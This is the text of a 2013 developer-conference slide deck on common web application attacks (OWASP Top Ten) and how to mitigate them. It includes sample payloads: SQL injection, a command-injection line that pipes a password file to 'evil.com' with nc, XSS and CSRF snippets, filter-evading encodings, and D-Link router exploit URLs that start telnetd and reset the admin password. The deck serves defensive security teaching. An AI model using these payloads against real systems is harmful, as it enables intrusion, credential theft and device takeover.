Attacking Web Applications

SELA DEVELOPER PRACTICEMay 5-9, 2013

Attacking Web Applications

Sasha Goldshtein

CTO, SELA Group

@goldshtn

blog.sashag.net

Every web developer must be aware of the most common web attacks, risks, and mitigations.

Don’t fly blind.

Typical Risks

Exposure of user information• Stealing passwords and using them with other

services• Stealing user emails for spam lists• Stealing user personal information for identity

theftDirect financial gain• Stealing user credit card details

Creating a botnet• Using your servers / your users’ systems for

malicious activityDenial of service• Preventing access to your service

Are they really after me?

1. They could be, if you’re important.2. They are after your users.3. They found you randomly on the web.

OWASP Top Ten (2013 Release Candidate)1. Injection

2. Broken authentication and session management

3. Cross-site scripting

4. Insecure direct object references

5. Security misconfiguration

6. Sensitive data exposure

7. Missing function level access control

8. Cross-site request forgery

9. Using components with known vulnerabilities

10.Unvalidated redirects and forwards

Injection

SQL Injection

• Suppose we have this very bad login validation code:

db.ExecuteReader("select * from users where name='"

+ Request["user"] + "' and password='"

+ Request["password"] + "'");

• Suppose the user request parameter is …

' or '1'='1

• Then the query we execute is … (note that and has precedence over or)

select * from users where name='' or '1'='1' and password='whatever'

OS Command Injection

• Suppose we’re too lazy to perform DNS lookup, so we resort to the following:

system("nslookup " + Request["hostname"]);

• Suppose the hostname parameter is …

foo || cat /etc/password | nc evil.com

• Then we end up sending the password file to evil.com!

DEMOSQL injection and OS command injection

Mitigating Injections

• DO NOT trust user input

• DO NOT execute code or queries provided by the user

• DO NOT use blacklists for validation• Worst idea ever: reject inputs that contain the word

“SELECT”

• DO use SQL query parameters (?, @param, :param)

• DO use whitelists and strict regexes for validation

• DO fuzz your applications with invalid input

• DISCUSS is injection possible with stored procedures?

Broken authentication or session management

Sessions and URLs

• Session identifier = key to the castle

• DO NOT embed session identifiers in URLs

• DO NOT trust cookie contents

• DO NOT trust URL query string contents

• DO NOT use predictable session identifiers

http://example.com/cart.php?sess=127

• DO use a Secure, HttpOnly cookie for session id

• DO use long, random session ids

DEMOExploiting vulnerable session information

Use HTTPS Correctly

• DO NOT send sensitive information over HTTP

• DO NOT display login pages over HTTP

• DO NOT load HTTP frames/scripts/images in an otherwise HTTPs page

• DO insist on pure HTTPS for sensitive pages

Storing Sensitive Information

• DO NOT store anything you don’t have to store• Least responsibility principle

• DO comply with regulation for secure storage• E.g. if you store credit card details, you’re in for

some pain

Password Storage

• DO NOT store passwords in clear text

• DO NOT store encrypted passwords

• DO NOT store weakly-hashed passwords

• DO hash and salt passwords

• DO reject weak passwords during signup

• DO consider using OAuth services instead of your own

• DISCUSS which hash function to use• Use super-slow hash function (bcrypt) – subject to

DOS• Use super-fast hash function (MD5, SHA1) – subject

to cracking

DEMORainbow tables and weak passwords

XSS and CSRF

Cross-Site Scripting (XSS)

• Injecting JavaScript into pages viewed by other users• Session (cookie) stealing, other information

disclosure• DOM manipulation, tricking the user to do

something

• Temporary XSS• You craft a link that will cause code to be executed

when the vulnerable page is accessed

http://badgoogle.com/?q=<script>alert(1);</script>

• Persistent XSS• You provide data to the server which is then

permanently displayed when users visit a certain page

DEMOPersistent and temporary XSS

Cross-Site Request Forgery (CSRF)

• Use the fact that the user is already authenticated to a website to generate requests on his behalf

<img src="http://forum.com/delete_profile.php?confirmed=True" />

• Interesting variation: use CSRF to login into YouTube with the attacker’s credentials; then, Google history is stored into the attacker’s account

DEMOCSRF

Good Luck With Blacklisting Characters.

70 Unique Ways To Encode< <

%3C

&lt

&lt;

&LT

&LT;

&#60

&#060

&#0060

&#00060

&#000060

&#0000060

&#60;

&#060;

&#0060;

&#00060;

&#000060;

&#0000060;

&#x3c

&#x03c

&#x003c

&#x0003c

&#x00003c

&#x000003c

&#x3c;

&#x03c;

&#x003c;

&#x0003c;

&#x00003c;

&#x000003c;

&#X3c

&#X03c

&#X003c

&#X0003c

&#X00003c

&#X000003c

&#X3c;

&#X03c;

&#X003c;

&#X0003c;

&#X00003c;

&#X000003c;

&#x3C

&#x03C

&#x003C

&#x0003C

&#x00003C

&#x000003C

&#x3C;

&#x03C;

&#x003C;

&#x0003C;

&#x00003C;

&#x000003C;

&#X3C

&#X03C

&#X003C

&#X0003C

&#X00003C

&#X000003C

&#X3C;

&#X03C;

&#X003C;

&#X0003C;

&#X00003C;

&#X000003C;

\x3c

\x3C

\u003c

\u003C

Mitigating XSS and CSRF

• DO NOT trust user input (didn’t we say this already?)

• DO NOT allow GET requests to modify state

• DO NOT rely on blacklists of characters/tags

• DO escape and sanitize HTML provided by the user

• DO generate anti-CSRF tokens and validate them

• DO validate Referer headers

Security Configuration

Admin Consoles

• DO NOT leave admin consoles exposed to the Internet

• DO NOT provide “extra helpful” troubleshooting info

• DO restrict admin consoles to local network only

• DO whitelist IP addresses if absolutely necessary

Some auth cookies…

yum!

DEMOLocating ELMAH error pages through Google

Bonus: A Real Vulnerability AdvisoryDLink DIR-615 and DIR-300• OS command injectionhttp://<IP>/tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&pingIP=1.1.1.1

• CSRF to change admin password and enable remote administration (Internet-facing)

http://<IP>/tools_admin.php?ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&rt_ipaddr=0.0.0.0&rt_port=8080

• Information disclosurehttp://<IP>/DevInfo.txt

• Insecure password storage$ cat var/etc/httpasswd

admin:admin

Summary & Call To Action

• Be aware of security risks and typical vulnerabilities while you architect, design, and develop your web applications

• Ensure your developers get up to date security training

• Review code for security, not just correctness

• Remember that web security is just one part of the picture: if your web app is secure, attackers will try other routes (social engineering, physical attacks, …)Follow OWASP for more:

https://www.owasp.org/

SELA DEVELOPER PRACTICEMay 5-9, 2013

Thank You!Questions?

Sasha Goldshtein

@goldshtn

blog.sashag.net